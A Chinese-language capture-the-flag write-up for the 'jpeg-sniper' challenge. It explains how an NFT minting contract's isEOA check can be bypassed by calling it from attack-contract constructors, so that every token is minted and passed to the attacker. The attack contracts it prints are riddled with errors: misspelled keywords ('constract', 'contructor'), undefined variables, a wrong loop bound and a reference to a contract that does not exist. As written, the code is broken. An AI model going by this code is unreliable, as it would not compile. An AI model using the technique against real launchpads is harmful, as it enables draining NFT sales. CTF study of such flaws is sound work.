CTF-jpeg-sniper

这道题的源码在这里

题目的要求是:铸币

首先又是要理解这些代码想表达的意思

BaseLaunchpegNTF合约,这个NTF的原型,里面实现了isEOA的修饰器,看到这个,我就想起了前几天才整理的智能合约的漏洞:如何绕过外部账户,实现用合约调用。接下来就是普通的铸币流程

function numberMinted(address _owner)
public
view
returns (uint256)
{
return balanceOf(_owner);
}

function totalSupply() public view returns (uint256) {
return _tokenId.current();
}

/// 每个使用者可铸币的数量
function _mintForUser(address to, uint256 quantity) internal {
for (uint256 i=0; i<quantity; i++) {
_mint(to, _tokenId.current());
_tokenId.increment();
}
}

function _refundIfOver(uint256 _price) internal {
if (msg.value < _price) {
revert Launchpeg__NotEnoughFunds(msg.value);
}
if (msg.value > _price) {
(bool success, ) = msg.sender.call{value: msg.value - _price}("");
if (!success) {
revert Launchpeg__TransferFailed();
}
}
}

问题就是出在FlatLaunchpeg合约中,从这个合约中我们可以看到这个publicSaleMint函数,这是我们主要可以调用的铸币函数,一看,果然,有isEOA的修饰,难点也就是这个了,

function publicSaleMint(uint256 _quantity)
external
payable
isEOA
atPhase(Phase.PublicSale)
{
if (numberMinted(msg.sender) + _quantity > maxPerAddressDuringMint) {
revert Launchpeg__CanNotMintThisMany();
}
if (totalSupply() + _quantity > collectionSize) {
revert Launchpeg__MaxSupplyReached();
}
uint256 total = salePrice * _quantity;

_mintForUser(msg.sender, _quantity);
_refundIfOver(total);
}
function currentPhase() public view returns (Phase) {
if (
publicSaleStartTime == 0 ||
block.timestamp < publicSaleStartTime
) {
return Phase.NotStarted;
} else {
return Phase.PublicSale;
}
}

联想到之前整理的漏洞,想到,可以使用在攻击合约中的构造函数调用即可,为了在一个交易完成,就写了俩个合约来实现此次的攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

interface IFlatLaunchpeg{
function publicSaleMint(uint256 _quantity) external payable;
function transferFrom(address from, address to, uint256 tokenId) external;
function totalSupply() external returns (uint256);
function maxPerAddressDuringMint() external returns (uint256);
function collectionSize() external returns (uint256);
}

constract hack1{
IFlatLaunchpeg nft;
address attracker;
contructor(address _nft,address _attracker){
runExploit(nft,attracker);
}

function runExpoit (address nft,attracker) public{
IFlatLaunchpeg nft = IFlatLaunchpeg(nftAddress);

uint256 collectionSize = nft.collectionSize();//总共的NFT
uint256 maxPerAddress = nft.maxPerAddressDuringMint();//每个合约地址可以铸币的最大数量

uint256 startIndex = nft.totalSupply();//已经铸币的数量,也是标识符
uint256 loops = (collectionSize-startIndex)/maxPerAddress;

for (uint i = 0;i<maxPerAddress;i++){
new hack2(ntf,attracker,maxPerAddress,stratIndex);
startIndex +=maxPerAddress;
}
//转移剩下的可以铸币的数量
uint256 mintRemainder = (collectionSize-startIndex)%maxPerAddress;
if (mintRemainder > 0) new MiniJpegSniperExploiter(nft,to,mintRemainder,startIndex);

}
}

contract hack2{
//stratIndex 是转移的代币ID,因为每个代币被铸出来,都有一个标识ID,不要误认为是转移这么多代币
constructor(IFlatLaunchpeg nft,address attracker,uint256 maxPerAddress,uint256 startIndex){
ntf.publicSaleMint(maxPerAddress);
for(uint i = 0;i<per;i++){
nft.transferFrom(address(this),attracker,startIndex+i);
}
}
}

这个题要想解决,就是要对铸币NFT有一些了解,执行攻击合约即可完成;